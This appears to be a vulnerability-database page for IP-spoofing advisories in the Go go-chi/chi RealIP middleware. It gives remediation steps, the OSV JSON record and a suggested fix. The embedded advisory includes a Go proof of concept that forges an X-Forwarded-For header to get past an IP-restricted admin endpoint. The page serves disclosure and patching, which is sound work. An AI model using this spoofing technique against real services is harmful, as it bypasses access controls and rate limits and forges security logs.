Vulnerabilities in pkg:golang/github.com/go-chi/chi/v5/middleware
PACKAGEGHSA-3fxj-6jh8-hvhx is a MODERATE chi has an ip spoofing vulnerability (CWE-345: Insufficient Verification of Data Authenticity) affecting Github.com/go chi/chi/v5/middleware libraries in the Go ecosystem. The issue involves chi has an ip spoofing vulnerability in `middleware.realip`. Remediation is available by upgrading affected packages to version 5.3.0.
pkg:golang/github.com/go-chi/chi/v5/middleware
Vulnerability advisories affecting package pkg:golang/github.com/go-chi/chi/v5/middleware. Select an advisory below to view technical details or fixes.
| Advisory ID | CVE / NVD | Severity | Summary |
|---|---|---|---|
| GHSA-3fxj-6jh8-hvhx | - | MODERATE | chi Has an IP Spoofing Vulnerability in `middleware.RealIP` |
| GHSA-rjr7-jggh-pgcp | - | HIGH | chi's RealIP Middleware allows IP spoofing via unvalidated X-Forwarded-For header |
| GHSA-9g5q-2w5x-hmxf | - | HIGH | chi Middleware Vulnerable to Potential IP Spoofing via `X-Forwarded-For` Header in `Request.RemoteAddr` Resolution |
GHSA-3fxj-6jh8-hvhx at a Glance
How to Fix GHSA-3fxj-6jh8-hvhx
To remediate this vulnerability, upgrade all affected Github.com/go chi/chi/v5/middleware dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/go-chi/chi/v5/middleware to 5.3.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/go-chi/chi/v5/middleware
How to Check if You Are Affected
To determine whether your application is affected by GHSA-3fxj-6jh8-hvhx, inspect your project dependencies for Github.com/go chi/chi/v5/middleware:
inspect dependencies for github.com/go-chi/chi/v5/middleware
Analyze the terminal output to locate any version of Github.com/go chi/chi/v5/middleware in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.3.0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-345: Insufficient Verification of Data Authenticity, where the product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data. In Github.com/go chi/chi/v5/middleware, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
GHSA-3fxj-6jh8-hvhx Affected Github.com/go chi/chi/v5/middleware Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/go-chi/chi/v5/middleware
|
Go |
≥ 5.2.1
< 5.3.0
|
5.3.0
|
References
Frequently Asked Questions
What is GHSA-3fxj-6jh8-hvhx?
Which Github.com/go chi/chi/v5/middleware versions are affected?
What version fixes GHSA-3fxj-6jh8-hvhx?
Is github.com/go-chi/chi/v5/middleware affected?
What CWE is associated with GHSA-3fxj-6jh8-hvhx?
How can I check Go dependencies for GHSA-3fxj-6jh8-hvhx?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-3fxj-6jh8-hvhx",
"modified" : "2026-06-25T18:21:38Z",
"published" : "2026-06-25T18:21:37Z",
"aliases" : [ ],
"summary" : "chi Has an IP Spoofing Vulnerability in `middleware.RealIP`",
"details" : "## Summary\nThe `RealIP` middleware in `go-chi/chi` is vulnerable to IP spoofing because it blindly trusts the first (leftmost) element of the `X-Forwarded-For` HTTP header. This allows a remote attacker to bypass IP-based access control lists (ACLs) and rate-limiting mechanisms by providing a spoofed IP address in the header.\n\n## Details\nIn `middleware/realip.go`, the `realIP` function parses the `X-Forwarded-For` header and extracts the first comma-separated value:\n\n```go\nfunc realIP(r *http.Request) string {\n // ...\n } else if xff := r.Header.Get(xForwardedFor); xff != \"\" {\n ip, _, _ = strings.Cut(xff, \",\")\n }\n // ...\n}\n```\n\nStandard practice for `X-Forwarded-For` is that each proxy appends the client's IP to the end of the list. However, since the client can also provide this header, the leftmost values are untrusted. A client can send a header like `X-Forwarded-For: <spoofed_ip>, <actual_proxy_ip>`, and `go-chi/chi` will treat `<spoofed_ip>` as the source of the request.\n\n## Proof of Concept (PoC)\nThe following code demonstrates how an attacker can bypass an IP-based restriction.\n\n```go\npackage main\n\nimport (\n \"fmt\"\n \"net/http\"\n \"net/http/httptest\"\n\n \"github.com/go-chi/chi/v5\"\n \"github.com/go-chi/chi/v5/middleware\"\n)\n\nfunc main() {\n r := chi.NewRouter()\n\n // Enable the vulnerable RealIP middleware\n r.Use(middleware.RealIP)\n\n // An endpoint that should be restricted to a specific administrator IP (1.2.3.4)\n r.Get(\"/admin/secret\", func(w http.ResponseWriter, r *http.Request) {\n clientIP := r.RemoteAddr\n fmt.Printf(\"[Server] Request received from IP: %s\\n\", clientIP)\n\n // Simulate IP-based access control\n if clientIP == \"1.2.3.4\" {\n w.WriteHeader(http.StatusOK)\n w.Write([]byte(\"CONFIDENTIAL: The secret code is 42\\n\"))\n } else {\n w.WriteHeader(http.StatusForbidden)\n w.Write([]byte(\"Access Denied: You are not an administrator.\\n\"))\n }\n })\n\n // --- Attack Simulation ---\n fmt.Println(\"--- PoC: IP Spoofing Attack on chi/middleware.RealIP ---\")\n\n // 1. Normal Request (Should be denied)\n req1, _ := http.NewRequest(\"GET\", \"/admin/secret\", nil)\n rr1 := httptest.NewRecorder()\n r.ServeHTTP(rr1, req1)\n fmt.Printf(\"[Client] Normal Request -> Status: %d, Body: %s\", rr1.Code, rr1.Body.String())\n\n // 2. Spoofed Request (Using X-Forwarded-For)\n // Attacker claims to be '1.2.3.4'\n req2, _ := http.NewRequest(\"GET\", \"/admin/secret\", nil)\n req2.Header.Set(\"X-Forwarded-For\", \"1.2.3.4, 5.6.7.8\") // 5.6.7.8 is a fake proxy IP\n rr2 := httptest.NewRecorder()\n r.ServeHTTP(rr2, req2)\n fmt.Printf(\"[Client] Spoofed Request -> Status: %d, Body: %s\", rr2.Code, rr2.Body.String())\n}\n```\n\n## Impact\nAn attacker can masquerade as any IP address. This can lead to:\n- **Bypass of Authentication/Authorization:** Accessing administrative panels or private APIs restricted by IP.\n- **Rate Limiting Evasion:** Circumbeting rate limiters that use `RemoteAddr` as a key.\n- **Log Forgery:** Causing incorrect IP addresses to be recorded in security logs.\n\n## CWE\n- **CWE-290:** Authentication Bypass by Spoofing\n- **CWE-345:** Insufficient Verification of Data Authenticity\n\n## CVSS Score\n- **CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N** (6.9 Moderate)\n\n## Affected Versions\n- `github.com/go-chi/chi/v5` <= `v5.2.1` (and all previous versions)\n\n## Recommendation\n1. **Stop using `middleware.RealIP`** if you cannot guarantee that the incoming request headers are from a trusted source and have been sanitized by a proxy.\n2. Implement a trust-based IP extraction mechanism that verifies the chain of proxies.\n3. Use the `X-Forwarded-For` header by traversing it from **right to left** and stopping at the first IP address that is not in your list of trusted proxies.\n\n## Suggested Fix\nA secure implementation of `RealIP` should allow developers to specify a list of trusted proxy IP ranges (CIDRs). Below is a conceptual example of how to fix this by traversing the `X-Forwarded-For` header from right to left:\n\n```go\nfunc GetClientIP(r *http.Request, trustedProxies []net.IPNet) string {\n xff := r.Header.Get(\"X-Forwarded-For\")\n if xff == \"\" {\n return r.RemoteAddr\n }\n\n ips := strings.Split(xff, \",\")\n // Traverse from right to left\n for i := len(ips) - 1; i >= 0; i-- {\n ipStr := strings.TrimSpace(ips[i])\n ip := net.ParseIP(ipStr)\n if ip == nil {\n continue\n }\n\n if !isTrustedProxy(ip, trustedProxies) {\n return ipStr\n }\n }\n\n return r.RemoteAddr\n}\n\nfunc isTrustedProxy(ip net.IP, trustedProxies []net.IPNet) bool {\n for _, network := range trustedProxies {\n if network.Contains(ip) {\n return true\n }\n }\n return false\n}\n```\n\nBy providing a configuration like `middleware.RealIPWithConfig(Config{TrustedProxies: []string{\"10.0.0.0/8\"}})` , the middleware can safely identify the true client IP even in complex proxy environments.",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/go-chi/chi/v5/middleware"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "5.2.1"
}, {
"fixed" : "5.3.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/go-chi/chi/security/advisories/GHSA-3fxj-6jh8-hvhx"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/go-chi/chi"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-290", "CWE-345" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-06-25T18:21:37Z",
"nvd_published_at" : null
}
}